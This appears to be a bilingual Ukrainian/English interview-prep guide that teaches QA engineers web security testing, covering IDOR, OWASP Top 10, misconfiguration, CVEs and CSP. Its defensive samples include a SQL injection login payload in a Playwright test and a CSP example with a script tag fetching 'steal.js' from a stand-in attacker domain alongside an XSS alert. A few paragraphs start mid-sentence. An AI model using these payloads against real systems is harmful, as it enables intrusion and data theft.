Для когоTarget Audience
Для QA-інженерів усіх рівнів (Junior, Middle, Senior), які прагнуть впевнено проходити технічні співбесіди та самостійно виявляти базові вразливості на проєктах.
For QA engineers at all levels (Junior, Middle, Senior) seeking to ace technical interviews and independently detect foundational web vulnerabilities.
Як користуватись 🗣How to Use 🗣
Вивчайте питання послідовно. Звертайте увагу на фрагменти коду та розмовні відповіді від першої особи для впевненого проходження технічних інтерв'ю.
Study questions sequentially. Pay attention to code snippets and first-person conversational answers for confident technical interview performance.
Що це: Тестування безпеки API — це процес пошуку вразливостей в інтерфейсах програмування застосунків, які можуть дозволити зловмиснику отримати несанкціонований доступ до даних або порушити роботу системи. Це не просто перевірка логіна чи пароля, це аналіз того, як API обробляє несподівані вхідні дані, як воно керує сесіями та авторизацією (наприклад, доступ до чужих ресурсів), і чи захищене воно від автоматизованих атак. У контексті QA це найчастіше зводиться до перевірки того, чи можна виконати дію від імені іншого користувача або отримати дані, які не повинні бути доступними.
Навіщо/коли: Безпека передусім потрібна для збереження довіри користувачів та уникнення фінансових втрат. У сьогоднішньому світі API часто є найшвидшим шляхом до бази даних компанії. Тестування безпеки слід проводити постійно — на етапі дизайну архітектури, під час написання автотестів, перед релізами та на етапі пост-релізу з регулярними перевірками. Особливо критично це для публічних API та систем, що працюють з фінансовими або персональними даними.
Приклад з реального проєкту: QA інженер тестував API для замовлення їжі. Він виявив, що ендпоінт, який повертає деталі замовлення (наприклад, /api/orders/12345), не перевіряє, чи належить це замовлення поточному користувачу. Просто перебираючи ідентифікатори (IDOR - Insecure Direct Object Reference), він зміг переглянути особисті дані, адреси та замовлення інших клієнтів. Після репорту розробники додали перевірку прив'язки ресурсу до токена авторизації.
Підводні камені: Основна помилка — змішувати функціональне тестування з тестуванням безпеки або вважати, що наявність HTTPS та токена автоматично робить ручки безпечними. Тестувальники часто забувають перевіряти доступ з іншими ролями або з протермінованими токенами. Інший підводний камінь — автоматичні сканери часто дають багато хибних спрацьовувань (false positives), які треба обробляти вручну.
Уточнююче питання: Як ви розмежовуєте тестування безпеки, яке роблять QA, та роботу спеціалізованих пентестерів на вашому проєкті?
What it is: API security testing is the process of identifying vulnerabilities within Application Programming Interfaces that could allow malicious actors to gain unauthorized access to data, disrupt services, or execute malicious commands. It goes far beyond simply checking if a login page works; it involves deeply analyzing how the API handles malformed or unexpected input, how it manages sessions, token expiration, and precise authorization boundaries (such as preventing users from accessing each other's resources). For a QA engineer, this often means checking whether actions can be performed on behalf of another user or if restricted endpoints can be bypassed entirely.
Why/when: Security is paramount for maintaining user trust, meeting compliance standards (like GDPR, HIPAA), and avoiding potentially catastrophic financial leaks. Because APIs frequently serve as a direct bridge to a company's backend databases, they are prime targets for automated attacks. Security testing must be a continuous effort—starting during architectural design, continuing through the creation of regression suites, running before critical deployments, and conducting periodic audits in production. It’s absolutely essential for public-facing utilities and highly sensitive financial systems.
Real project example: A QA testing a modern e-commerce platform found that the endpoint returning order receipts (like /api/v1/receipts/9876) did not validate if the logged-in user actually owned the receipt. By simply incrementing the numeric IDs (a classic Insecure Direct Object Reference or IDOR vulnerability), the tester could scrape personal details, billing addresses, and purchase histories of thousands of other customers. The developers subsequently implemented strong ownership validation bound to the active session token.
Pitfalls: A prevalent mistake is equating functional testing with security testing or assuming that implementing HTTPS and generating a basic JWT resolves all security concerns. QA teams often neglect to test endpoints using accounts with different privilege levels or manipulating data payloads. Another significant challenge is relying purely on automated vulnerability scanners, which frequently produce a high volume of false positives that require tedious manual verification and triage.
Clarifying question: How do you currently balance the security testing responsibilities assigned to QA versus dedicating resources for professional penetration tests within your team?
GET /api/v1/orders/12345 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhb...<!-- token of User A -->
<!-- Server returns details intended for User B -->
HTTP/1.1 200 OK
{
"order_id": 12345,
"customer_name": "Alice",
"total": 99.99
}
Що це: OWASP Top 10 — це всесвітньо визнаний рейтинговий документ та методологія, що описує десять найкритичніших ризиків безпеки для веб-застосунків. Він створюється організацією Open Web Application Security Project (OWASP) на основі даних від експертів з кібербезпеки зі всього світу. До списку входять такі загрози, як злам контролю доступу (Broken Access Control), криптографічні збої, ін'єкції (Injection), небезпечний дизайн (Insecure Design) та інші поширені вразливості, що регулярно стають причинами гучних зламів систем.
Навіщо/коли: Цей список є своєрідним стандартом де-факто та базовим чеклістом для розробників і QA-інженерів. Він допомагає команді сфокусуватися на найбільш ймовірних та небезпечних дірках під час тестування безпеки. Використання OWASP Top 10 критично важливе при проектуванні нових фіч веб-застосунків, проведення код-рев'ю, налаштування CI/CD пайплайнів (для інтеграції автоматизованих сканерів) та під час ручного аудиту безпеки перед великим релізом.
Приклад з реального проєкту: На одному з проєктів ми готувалися до проходження сертифікації SOC 2. Щоб довести базовий рівень безпеки, команда тестування використовувала OWASP Top 10 як план для аудиту. Ми налаштували автоматичне сканування за допомогою інструменту OWASP ZAP у пайплайні, що дозволило автоматично відловлювати відсутні заголовки безпеки та перевіряти систему на відомі вразливості типу ін'єкцій ще на етапі пулл-реквесту.
Підводні камені: Дуже часто люди вважають, що OWASP Top 10 — це вичерпний список усіх можливих вразливостей, і забувають про інші вектори атак, специфічні для їхньої індустрії (наприклад, бізнес-логічні помилки). Також буває, що команди фіксують лише перші три пункти, ігноруючи решту через брак часу, або ж сліпо довіряють автоматичним сканерам, які ніколи не знайдуть складні IDOR або проблеми зі зламаним контролем доступу (поточний номер 1 у списку).
Уточнююче питання: Як ви пріоритезуєте перевірки з OWASP Top 10 на етапах функціонального тестування порівняно зі спеціалізованими сесіями тестування безпеки?
What it is: The OWASP Top 10 is a globally recognized awareness document and methodology that outlines the ten most critical security risks facing web applications. Maintained by the Open Web Application Security Project (OWASP), the list is compiled using vast amounts of data and consensus from security experts worldwide. It highlights prominent threats including Broken Access Control, Cryptographic Failures, Injection attacks (such as SQL injection), Insecure Design, and Security Misconfigurations. It acts as a foundational framework for understanding modern web security threats.
Why/when: Providing a widely accepted standard, the OWASP Top 10 acts as the ultimate baseline checklist for developers, security professionals, and QA engineers. It helps agile software teams focus their limited resources on mitigating the most probable and damaging vulnerabilities. Applying these guidelines is crucial during the architectural design phase, proactive code reviews, CI/CD pipeline setups (integrating automated scanning tools), and manual security auditing exercises immediately prior to embarking on a major production release.
Real project example: While preparing our SaaS application for a strict SOC 2 compliance audit, our QA team adopted the OWASP Top 10 as the core framework for our security test plans. We integrated the OWASP ZAP scanner into our nightly CI pipeline. This automated setup immediately flagged missing security headers and exposed a minor cross-site scripting (XSS) vulnerability on an internal dashboard, ensuring we addressed these critical categories before engaging an external penetration testing firm.
Pitfalls: A common misconception is treating the OWASP Top 10 as an exhaustive catalog of every conceivable security loophole rather than a baseline. Teams often ignore complex, domain-specific business logic flaws that never appear on generic lists. Another major pitfall is over-relying on automated scanners to cover the list; automated tools are severely limited when dealing with complex authorization defects (like Broken Access Control, currently the #1 risk), which require meticulous human reasoning to uncover effectively.
Clarifying question: Do your developers receive specific training on mitigating the OWASP Top 10 risks, or is the burden of discovery primarily placed on the QA organization?
name: OWASP ZAP Baseline Scan
on: [push]
jobs:
zap_scan:
runs-on: ubuntu-latest
steps:
- name: ZAP Scan
uses: zaproxy/action-baseline@v0.12.0
with:
target: 'https://staging.example.com'
fail_action: 'false' # Just report, don't break pipeline yet
Що це: Функціональне тестування (functional testing) перевіряє те, як система повинна працювати за ідеальних або очікуваних умов і відповідає на питання "чи робить програма те, що заявлено у вимогах?". Тестування ж безпеки (і покриття OWASP Top 10) концентрується на тому, як система поводить себе, коли хтось навмисно намагається зламати її або зробити те, що не передбачено нормальним сценарієм використання. Функціональні тести підтверджують позитивний шлях, тоді як перевірка безпеки шукає приховані негативні шляхи та вразливості в логіці.
Навіщо/коли: Функціональні прогони не здатні виявити більшість проблем з OWASP Top 10, оскільки вони не моделюють поведінку зловмисника. Наприклад, автотест перевірить, що користувач може залогінитися зі своїм логіном та паролем. Але цей тест ніколи не спробує підставити SQL-ін'єкцію в поле логіна, не спробує перехопити сесійну куку, не перевірить наявність атрибутів HttpOnly на цих куках і не спробує згенерувати тисячу запитів за секунду, щоб покласти сервер. Тому ці види тестування повинні існувати паралельно та доповнювати одне одного, щоб забезпечити надійність продукту.
Приклад з реального проєкту: На одному фінансовому проєкті був зелений набір зі 100% покриттям функціональних автотестів для переказу коштів. Тести успішно перевіряли, що переказ працює, баланси оновлюються, а помилки валідації генеруються при від'ємній сумі. Однак, коли ми додали сценарії з OWASP (зокрема перевірку на стан гонки / race condition), ми виявили, що якщо одночасно відправити 50 запитів на переказ ста доларів (маючи на балансі тільки 100), сервер обробляв їх паралельно і баланс ставав від'ємним, віддаючи атакуючому реальні гроші. Ніхто з ручних чи авто-функціональників цього не знаходив.
Підводні камені: Найбільший ризик — це хибне відчуття безпеки від того, що "усі тести зелені, а значить багів немає". Розробники часто опираються додаванню спеціалізованих security-тестів до загального CI, оскільки вони можуть бути дуже повільними і давати плаваючі результати. Інша проблема: звичайні функціональні тестувальники можуть не знати інструментів на кшталт Burp Suite чи способи маніпуляцій запитами, тому залишають цю зону не покритою зовсім.
Уточнююче питання: Як ви розрізняєте і поділяєте ресурси команди на класичні функціональні негативні кейси та справжнє тестування безпеки?
What it is: Functional testing validates that an application behaves exactly as intended under normal or expected conditions—it fundamentally answers the question, "does the software meet business requirements?" In contrast, security testing, specifically encompassing the OWASP Top 10, focuses on observing how the system responds when someone intentionally attempts to exploit it or perform actions outside logical boundaries. While functional tests affirm the positive scenarios and expected negative validations, security testing actively hunts for hidden pathways, logic flaws, and architectural vulnerabilities that malicious actors could abuse.
Why/when: Basic functional execution sweeps are inherently inadequate for uncovering the vast majority of OWASP Top 10 vulnerabilities because they do not simulate an attacker's hostile mindset. A functional automated setup might verify that a valid login succeeds and an invalid one fails. However, that exact same script will never try injecting a malicious payload into the username field, attempting to guess session cookies, checking if those cookies lack the secure HttpOnly flag, or evaluating the endpoint's resilience against brute-force attacks. Therefore, both testing disciplines must be parallel and complementary to truly guard a product's integrity.
Real project example: In a banking application, we had a fully green automated suite providing absolute coverage for the money transfer functionality. These scripts correctly asserted that transfers succeeded, balances adjusted, and attempts to send negative amounts were correctly blocked. However, when we introduced advanced security test cases checking for race conditions (a severe architectural flaw), we discovered that firing fifty concurrent API requests to transfer funds when the total balance was merely adequate for one transaction caused the database to process them simultaneously. It drove the balance into massive negative territory, effectively generating infinite funds. Standard tests missed this completely.
Pitfalls: The most dangerous pitfall is developing a false sense of absolute security rooted in the belief that "all functional pipelines are green, so the application is flawless." Furthermore, engineering teams frequently resist inserting extensive security evaluations into their daily CI execution because such tests are often slow, complex, and prone to flaky results. Additionally, pure functional testers may lack the specialized expertise needed to operate proxy tools like Burp Suite, leaving massive security gaps deliberately unaddressed.
Clarifying question: How do you currently partition testing effort and team resources to ensure both exhaustive functional coverage and rigorous security assessments are maintained?
// Typical functional test - Checks expected behavior
test('Login with valid credentials succeeds', async ({ request }) => {
const res = await request.post('/api/login', { data: { user: "admin", pass: "123" } });
expect(res.status()).toBe(200);
});
// Security test (SQLi) - Checks unexpected, malicious behavior
test('Login endpoint resists basic SQLi payload', async ({ request }) => {
const res = await request.post('/api/login', { data: { user: "admin' OR 1=1--", pass: "xxx" } });
expect(res.status()).not.toBe(200);
expect(res.status()).not.toBe(500); // Shouldn't crash backend
});
Що це: Security Misconfiguration (небезпечне налаштування) — це широкий клас вразливостей, які виникають через недбалі або дефолтні налаштування інфраструктури, веб-серверів, баз даних або фреймворків. Очима тестувальника це виглядає як залишені дефолтні паролі (наприклад, admin:admin), відкриті порти й адмінки в інтернет, увімкнений режим дебагу на продакшені (який випльовує stack trace), відсутність HTTP-заголовків безпеки, або навіть забуті тестові ендпойнти, які не мали потрапити в реліз. Це не помилка в самому коді бізнес-логіки, а радше проблема середовища та конфігурації.
Навіщо/коли: Ці проблеми виникають дуже часто, тому що команди копіюють налаштування зі стейджингу на продакшен, не розбираючись у деталях. Безпечні конфігурації є фундаментом: якщо сервер погано налаштований, навіть найякісніший код не врятує систему від зламу. Тестувальник повинен перевіряти це під час кожного деплою, звертаючи увагу на відповіді сервера, заголовки та поведінку при нестандартних запитах. Автоматизація перевірок конфігурацій (інфраструктура як код) допомагає зменшити ці ризики.
Приклад з реального проєкту: На одному з релізів ми помітили, що API почало повертати величезні HTML-сторінки з помилками замість стандартних JSON-відповідей, коли ми передавали невалідні дані. Виявилося, що розробники залишили увімкненим флаг DEBUG = True у конфігурації Django на продакшені. Через це будь-хто міг викликати Exception і отримати детальний stack trace, у якому були видні шляхи до файлів на сервері, шматки вихідного коду і навіть змінні середовища з частковими ключами до бази даних.
Підводні камені: Найбільший підводний камінь полягає у тому, що налаштування інфраструктури часто лежать поза зоною відповідальності класичного QA (цим займаються DevOps). Тестувальники можуть боятись або не вміти перевірити CORS налаштування, TLS сертифікати або порти докер-контейнерів. Крім того, інструменти сканування часто дають багато шуму, наприклад, скарги на відсутність маловідомих заголовків, які не мають реального впливу на даний конкретний проєкт.
Уточнююче питання: Чи є у вашій команді чіткий чекліст перевірки інфраструктурних налаштувань перед викочуванням на продакшен, і хто несе за це відповідальність?
What it is: Security Misconfiguration refers to a broad spectrum of vulnerabilities arising from insecure default settings, incomplete setups, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Through the eyes of a tester, this translates to finding default administrative credentials left intact (like admin:admin), debugging endpoints exposed on production builds, directory listing enabled on web servers, or critical stack traces being spat out upon triggering a simple API error. Essentially, it’s not an inherent flaw in the business application code itself, but rather a catastrophic failure in environment administration and deployment practices.
Why/when: These vulnerabilities are incredibly common because engineering teams frequently copy configuration files directly from relaxed staging environments into production without adjusting security parameters. A secure baseline configuration is the ultimate foundation; if the underlying infrastructure is flawed, even perfectly written application code remains highly vulnerable. Testers must actively probe for configuration lapses during every deployment cycle, scrutinizing server responses, examining headers, and forcing unexpected errors. Adopting automated configuration checks and treating Infrastructure as Code (IaC) significantly mitigates these persistent setup risks.
Real project example: Following a major deployment, our testing team observed that intentionally sending malformed data payloads caused the API to crash and return massive HTML error pages instead of standardized JSON responses. An investigation revealed that the engineering team accidentally deployed with the DEBUG = True flag enabled within the Django production configuration. Consequently, anyone triggering a forced exception was rewarded with a highly detailed stack trace that leaked internal server file paths, segments of proprietary source code, and critically, environmental variables exposing partial database connection strings.
Pitfalls: The most significant pitfall is the pervasive assumption that infrastructure configuration is exclusively a "DevOps problem," leading QA engineers to completely ignore this attack vector out of fear or lack of specialized knowledge. Software testers often feel too intimidated to evaluate Cross-Origin Resource Sharing (CORS) rules, TLS certificate validity, or open Docker ports. Additionally, automated configuration scanners are notorious for generating immense amounts of noise, repeatedly flagging obscure missing headers that provide negligible actual risk reduction for the specific product context.
Clarifying question: Does your operational framework include automated compliance scans or rigid pre-deployment checklists to verify infrastructure configurations, and who ultimately signs off on them?
// Playwright checking for a Security Misconfiguration (Information Leakage in Error)
test('API should not leak stack traces on server error', async ({ request }) => {
// Deliberately break the request to force a 500
const res = await request.post('/api/data', { data: { bad_field: [] } });
expect(res.status()).toBe(500);
const body = await res.text();
// Verify that production code doesn't leak internal paths
expect(body).not.toContain('/var/www/');
expect(body).not.toContain('stack trace');
});
Що це: CVE (Common Vulnerabilities and Exposures) — це відкрита, стандартизована база даних (словник) загальновідомих недоліків кібербезпеки та вразливостей. Кожній знайденій, підтвердженій та публічно розкритій вразливості присвоюється унікальний ідентифікатор формату CVE-РІК-НОМЕР (наприклад, сумнозвісний CVE-2021-44228 для Log4Shell). Це дозволяє спеціалістам з безпеки, тестувальникам і розробникам зі всього світу однозначно розуміти, про який саме баг у якій бібліотеці чи системі йде мова, замість того, щоб описувати його довгим текстом.
Навіщо/коли: CVE є критичною ланкою в керуванні залежностями (dependency management). Сучасні проєкти складаються з сотень сторонніх пакетів (NPM, Maven, pip). Якщо в якомусь із них знаходять вразливість, їй дають номер CVE. Команди та автоматизовані сканери (на кшталт Dependabot або Snyk) регулярно перевіряють цей список, щоб зрозуміти, чи використовують вони вразливу версію бібліотеки. QA-інженер повинен розуміти, що таке CVE, щоб правильно оцінити ризик і розуміти звіти сканерів інфраструктури.
Приклад з реального проєкту: На нашому Node.js проєкті ми використовували бібліотеку lodash для маніпуляцій з об'єктами. Одного ранку GitHub Dependabot створив пулл-реквест зі сповіщенням: "Виявлено критичну вразливість CVE-2019-10744 (prototype pollution) у вашій версії lodash". Як QA, я проаналізував, чи використовуємо ми вразливу функцію merge з неперевіреним користувацьким вводом. Оскільки ризик був підтверджений, ми пріоритетно оновили пакет і я написав автотест, що надсилав корисне навантаження, яке забруднювало прототип, гарантуючи, що після оновлення баг справді зник.
Підводні камені: Найбільша проблема — це ігнорування сповіщень про CVE, вважаючи їх проблемами безпековиків. Часто команди накопичують тисячі попереджень з низьким та середнім рівнем ризику і просто перестають на них зважати (alert fatigue). Інша крайність — паніка і термінове оновлення всього підряд без належного тестування, що часто ламає бізнес-логіку або приносить нові, функціональні баги через несумісні зміни (breaking changes) у мінорних версіях бібліотек.
Уточнююче питання: Як у вашому процесі обробляються звіти про нові CVE в залежностях, і чи є встановлені SLA на оновлення критичних пакетів?
What it is: CVE (Common Vulnerabilities and Exposures) is a universally accessible, standardized dictionary and numbering system for publicly disclosed cybersecurity vulnerabilities and exposures. Whenever a software flaw is legitimately identified and confirmed, it is assigned a unique tracking identifier structured as CVE-YEAR-NUMBER (for instance, the catastrophic CVE-2021-44228 associated with Log4Shell). This globally recognized naming convention ensures that security researchers, developers, QA engineers, and automated tools are universally referencing the exact same specific defect, eliminating confusion caused by vague descriptions.
Why/when: The CVE system is the fundamental cornerstone of modern dependency and vulnerability management. Contemporary software architectures rely heavily on vast networks of third-party dependencies (such as NPM packages, Python pip libraries, or Java Maven artifacts). When independent researchers discover a flaw in one of these libraries, a CVE is published. Automated security scanners like GitHub Dependabot, Snyk, or OWASP Dependency-Check continuously cross-reference project manifests against the CVE database. QA professionals must understand CVEs to accurately interpret vulnerability reports and advocate for necessary updates.
Real project example: While working on a widespread Node.js service, our static analysis scanner flagged a critical alert notifying us of CVE-2019-10744 (a notorious prototype pollution vulnerability) present within our ancient version of the lodash library. As a QA engineer, I collaborated with the developers to determine if our application actually leveraged the vulnerable deep-merge functions using unvalidated JSON input from external clients. Validating the extreme risk, we expedited a framework upgrade. I then engineered a specific exploit payload in our automation suite to unconditionally verify that the prototype pollution vector was permanently neutralized after the patch.
Pitfalls: The most dangerous pitfall is absolute negligence—ignoring CVE notifications completely because teams assume dependency security is purely a DevOps mandate. Conversely, extreme alert fatigue occurs when scanners generate hundreds of low-severity warnings, causing engineers to become numb and ultimately ignore genuinely critical threats. Another significant risk involves panic-upgrading dependencies instantly without proper regression testing, introducing massive functional regressions or breaking changes that completely destroy existing application logic under the misguided guise of rapid security patching.
Clarifying question: What is your team’s defined workflow and Service Level Agreement (SLA) for triaging and mitigating critical CVE alerts flagged by your CI pipeline?
// Example output from npm audit indicating a CVE
{
"vulnerabilities": {
"lodash": {
"name": "lodash",
"severity": "high",
"via": [
{
"title": "Prototype Pollution",
"url": "https://github.com/advisories/GHSA-45c4-8wx5-qw6w"
}
],
"effects": [],
"range": "<4.17.12",
"fixAvailable": true
}
}
}
npm audit), який показує, що знайдено відому вразливість. Вона має назву (Prototype Pollution) і вказує, які версії пакета lodash є небезпечними, спонукаючи команду оновити залежність.npm audit, explicitly identifying a known vulnerability. It highlights the threat (Prototype Pollution), flags the affected versions of the lodash library, and strongly prompts the engineering team to apply a patch.Що це: Алерти про вразливі залежності зазвичай генеруються автоматичними сканерами (Dependabot, Snyk, GitLab Security) або під час виконання команд на кшталт npm audit, коли в проєкті знаходиться бібліотека з відомою CVE. Порядок дій QA полягає не в панічному оновленні всіх бібліотек, а в аналізі, підтвердженні та тестуванні. Тестувальник має зрозуміти: чи справді продукт використовує цю вразливість, який ризик несе оновлення (breaking changes), і як перевірити, що нові залежності не зламали функціонал.
Навіщо/коли: Коли прилітає алерт (особливо критичний), команда повинна відреагувати швидко, згідно зі своїми SLA. Але сліпе оновлення бібліотеки може зруйнувати робочий код. QA виступає як захисний бар'єр: ми аналізуємо скоуп вразливості та розробляємо стратегію тестування компонента, який використовує оновлену бібліотеку. Це відбувається постійно, оскільки нові CVE публікуються щодня.
Приклад з реального проєкту: Отримали алерт від Snyk: у бібліотеці axios, яку використовував наш фронтенд, знайдено уразливість SSRF. Мій алгоритм як QA був такий: 1. Я прочитав деталі CVE, щоб зрозуміти, за яких умов вона відтворюється. 2. Перевірив, чи використовуємо ми axios саме таким небезпечним чином — виявилось, ми не дозволяли користувачам задавати URL-и напряму, тому ризик був мінімальним. 3. Разом із розробниками вирішили оновити версію. 4. Я запустив повний набір регресійних API-тестів та додатковий smoke-тест на фронтенді, щоб впевнитись, що мережеві запити після апдейту працюють коректно. Тільки після зеленого репорту змерджили фікс.
Підводні камені: Найбільша помилка — ігнорування алертів як "DevOps problem". Інша: відсутність оцінки імпакту (аналізу впливу). Якщо оновити мажорну версію великого UI-фреймворку через мінорний баг безпеки, можна отримати розвалений інтерфейс, і на виправлення підуть тижні. Тому іноді безпечніше жити зі знайденою вразливістю (якщо вона експлуатується лише у недосяжних для хакера умовах), аніж ламати критичний бізнес-напрямок в терміновому релізі.
Рішення під тиском релізу: Якщо алерт приходить напередодні релізу, варіантів зазвичай три: оновити залежність і провести цільову регресію; закрити ризик без оновлення (вимкнути вразливу функцію фіче-флагом, додати правило на WAF або валідацію вхідних даних) і оновитися в наступному спринті; або перенести реліз. Я допомагаю обрати, спираючись на факти: чи досяжний вразливий код з нашого продукту, чи є публічний експлойт і чи CVE вже активно експлуатується, чи сервіс відкритий в інтернет, наскільки великий дифф оновлення та яке покриття тестами має зачеплена частина. Якщо ризик свідомо приймається, це фіксується письмово з власником рішення і датою, до якої оновлення має відбутися, а після інциденту я додаю в регресію тест, що перевіряє саме цей шлях.
Уточнююче питання: Як ви визначаєте обсяг регресійного тестування, коли розробники оновлюють бібліотеку, що покриває весь застосунок (наприклад, React або Express)?
What it is: Security alerts concerning vulnerable dependencies are typically generated by continuous integration scanners like Dependabot, Snyk, or native tools like npm audit when a known CVE is matched against the project's dependency tree. A robust QA protocol dictates that we don't blindly or frantically merge library updates. Instead, the process involves analytical triage: understanding if the vulnerability is actually exploitable within the application's unique context, assessing the regression risk of the library update (potential breaking changes), and executing targeted test suites to confirm that the business logic remains perfectly intact post-update.
Why/when: Whenever an alert fires—especially one marked as critical severity—the engineering team is often bound by compliance SLAs to remediate it rapidly. However, thoughtlessly bumping underlying dependencies can severely break operational code. The QA engineer acts as a critical safety gate in this pipeline. We meticulously analyze the specific scope of the vulnerability and strategically formulate a regression test plan focusing intensely on the application segments that touch the upgraded dependency. This protocol is executed perpetually, as new CVEs are disclosed continuously across the software landscape.
Real project example: Our automated CI pipeline via Snyk flagged a severe Server-Side Request Forgery (SSRF) vulnerability within the axios library used heavily in our microservices. My systematic QA approach was: First, I reviewed the CVE documentation to understand the precise exploit conditions. Second, I assessed our codebase and determined we never allowed users to arbitrarily construct request URLs, significantly minimizing the immediate threat surface. Third, after developers performed the minor version upgrade, I triggered our deep automated API regression suite and executed exploratory smoke testing specifically around file fetching endpoints to guarantee network requests functioned flawlessly under the patched version.
Pitfalls: A massive pitfall is structural apathy, where QA dismisses dependency alerts entirely as an "ops or DevSecOps problem" requiring no testing. Conversely, performing massive major-version upgrades of core frameworks (like Angular or Express) simply to patch a low-impact CVE without extensive regression testing will almost inevitably cause catastrophic functional failures in production. Sometimes, actively managing the risk and accepting a non-exploitable vulnerability is a far superior business decision than rushing a massive, destabilizing framework update.
Deciding under release pressure: When the alert arrives the day before a release, there are usually three options: upgrade the dependency and run a targeted regression; mitigate without upgrading (switch the vulnerable feature off with a feature flag, add a WAF rule or input validation) and upgrade next sprint; or postpone the release. I help choose based on facts: whether the vulnerable code is reachable from our product, whether a public exploit exists and the CVE is already exploited in the wild, whether the service is internet-facing, how big the upgrade diff is, and how well the affected area is covered by tests. If the risk is knowingly accepted, it is recorded in writing with an owner and a date by which the upgrade must happen, and afterwards I add a regression test for that exact path.
Clarifying question: How do you objectively determine the necessary scope of regression testing when engineering bumps a foundational library that practically every module in the application relies upon?
# Step 1: Identify vulnerabilities
npm audit
# Step 2: Update the specific package (developer action)
npm install axios@latest
# Step 3: Run targeted test suite suite (QA action)
npx playwright test --project=api --grep="@network"
Що це: Content Security Policy (CSP) — це потужний механізм захисту браузера, реалізований через HTTP-заголовки. Він дозволяє власникам веб-сайтів жорстко контролювати і декларувати, з яких саме джерел браузеру дозволено завантажувати і виконувати ресурси (скрипти, стилі, зображення, шрифти) на конкретній сторінці. CSP є одним з найнадійніших методів захисту сучасних систем від атак типу Cross-Site Scripting (XSS), махінацій з даними та ін'єкцій шкідливого коду, оскільки браузер просто заблокує будь-яке невідоме джерело.
Навіщо/коли: Без налаштованого CSP браузер довіряє будь-якому скрипту, який з'являється у HTML (навіть якщо він був впроваджений хакером через коментар). Якщо політика CSP активна, розробник, скажімо, забороняє виконання "inline" скриптів (тих, що всередині тегу <script> в HTML) та дозволяє брати скрипти лише зі свого домену та надійних CDN. Кожен більш-менш серйозний проєкт вимагає CSP для відповідності стандартам безпеки. QA обов'язково має перевіряти наявність цього заголовку в інструментах розробника (Network tab) та тестувати, чи не блокує він легітимні скрипти (наприклад, аналітику чи віджети підтримки).
Приклад з реального проєкту: На проєкті ми інтегрували сторонній чат-підтримки (Intercom), але після релізу він не з'явився на сайті. У консолі розробника браузер підкреслив помилку червоним: "Refused to load the script because it violates the following Content Security Policy directive". Виявилося, що наш CSP заголовок обмежував виконання скриптів лише за власним доменом (script-src 'self'). Щоб виправити це, розробники мусили розширити політику: script-src 'self' https://widget.intercom.io/, що я потім успішно протестував, переконавшись, що інші сумнівні посилання так і лишаються заблокованими.
Підводні камені: Найпоширеніший підводний камінь — це налаштування CSP в режим "wildcard" (*). Якщо політика виглядає як default-src *, вона абсолютно марна. Друга проблема полягає в тому, що після ввімкнення суворого CSP часто ламаються сторонні інструменти (Google Analytics, Hotjar) або старі legacy-скрипти команди, які використовували вбудовані обробники onclick. Тестувальник має ретельно перевіряти консоль браузера на наявність повідомлень про порушення CSP після будь-яких змін в інфраструктурі.
Уточнююче питання: Чи використовуєте ви режим Report-Only для впровадження нових правил CSP, щоб зібрати статистику перед жорстким блокуванням ресурсів?
What it is: Content Security Policy (CSP) is a robust, browser-level defense mechanism enforced via HTTP response headers. It empowers website administrators to explicitly declare approved sources from which the browser is permitted to load and execute dynamic resources, such as JavaScript files, stylesheets, images, and fonts. By essentially creating a strict "allowlist" of trusted origins, CSP acts as an incredibly potent secondary layer of defense, neutralizing massive classes of modern vulnerabilities entirely, significantly mitigating Cross-Site Scripting (XSS) and data injection attacks.
Why/when: Traditionally, browsers implicitly trust any script code delivered within the requested HTML document, cheerfully executing malicious payloads injected through comment sections or hijacked databases. A strongly configured CSP fundamentally breaks this assumption; it outright bans dangerous practices like inline scripts (<script>...</script>) and the treacherous eval() function, forcing all executable logic into managed, external files sourced exclusively from approved domains. Modern, security-conscious applications demand a rigorous CSP. QA engineers must inspect the Network tab and browser Console to verify the header is active and correctly calibrated to not inadvertently shatter legitimate business tooling.
Real project example: Our team launched a major dashboard update featuring a shiny new third-party telemetry widget. Almost immediately, customer support exploded with complaints that the widget wasn't rendering. Upon inspecting the browser DevTools Console, I spotted a glaring red error: "Refused to load the script because it violates the Content Security Policy directive." Our aggressive baseline script-src 'self' policy had blocked the external widget. The development team amended the header to script-src 'self' https://trusted-telemetry.com, after which I verified the widget functioned without inadvertently opening the door to generalized external script execution.
Pitfalls: A notoriously common error is implementing a purely theatrical CSP saturated with wildcards (default-src *), rendering the protection mathematically useless. Furthermore, immediately enforcing a highly restrictive policy on a legacy application almost guarantees breaking internal analytics, marketing pixels, and legacy inline event handlers (like onclick="doSomething()"). Testers frequently fail to monitor the browser Console for silent CSP violations, leading to insidious, hard-to-diagnose functional regressions triggered strictly by rigid security parameters.
Clarifying question: When deploying stringent CSP updates, do you utilize the Content-Security-Policy-Report-Only header to safely aggregate violation telemetry without forcefully blocking user-facing resources?
<!-- Server sets this header in the HTTP response -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'
<!-- Browser will EXECUTE this (comes from trusted-cdn.com) -->
<script src="https://trusted-cdn.com/app.js"></script>
<!-- Browser will BLOCK this (hacker injected, violates 'self') -->
<script src="http://evil-cors-site.com/steal.js"></script>
<!-- Browser will BLOCK this (inline scripts are disabled by default in CSP) -->
<script>alert('XSS');</script>
trusted-cdn.com. Коли браузер рендерить сторінку, він блокує скрипт хакера з віддаленого шкідливого сервера, а також блокує небезпечний inline-скрипт. Легітимний скрипт виконується успішно.trusted-cdn.com. During rendering, the browser adamantly blocks the attacker's script originating from a foreign malicious domain, as well as forbidding any dangerous inline script blocks. The approved legitimate script runs flawlessly.Що це: Security-заголовки (Security Headers) — це набір HTTP-заголовків, які сервер додає до своєї відповіді, щоб вказати браузеру, як правильно захищати сторінку та користувача від поширених загроз. Основні заголовки, на які звертають увагу: Strict-Transport-Security (HSTS) захищає від пониження HTTPS до HTTP, X-Frame-Options блокує клікджекінг (clickjacking), не дозволяючи вбудовувати ваш сайт у iframe, X-Content-Type-Options: nosniff змушує браузер не вгадувати MIME-тип файлів і чекати чіткої відповідності, а також згаданий раніше Content-Security-Policy (CSP).
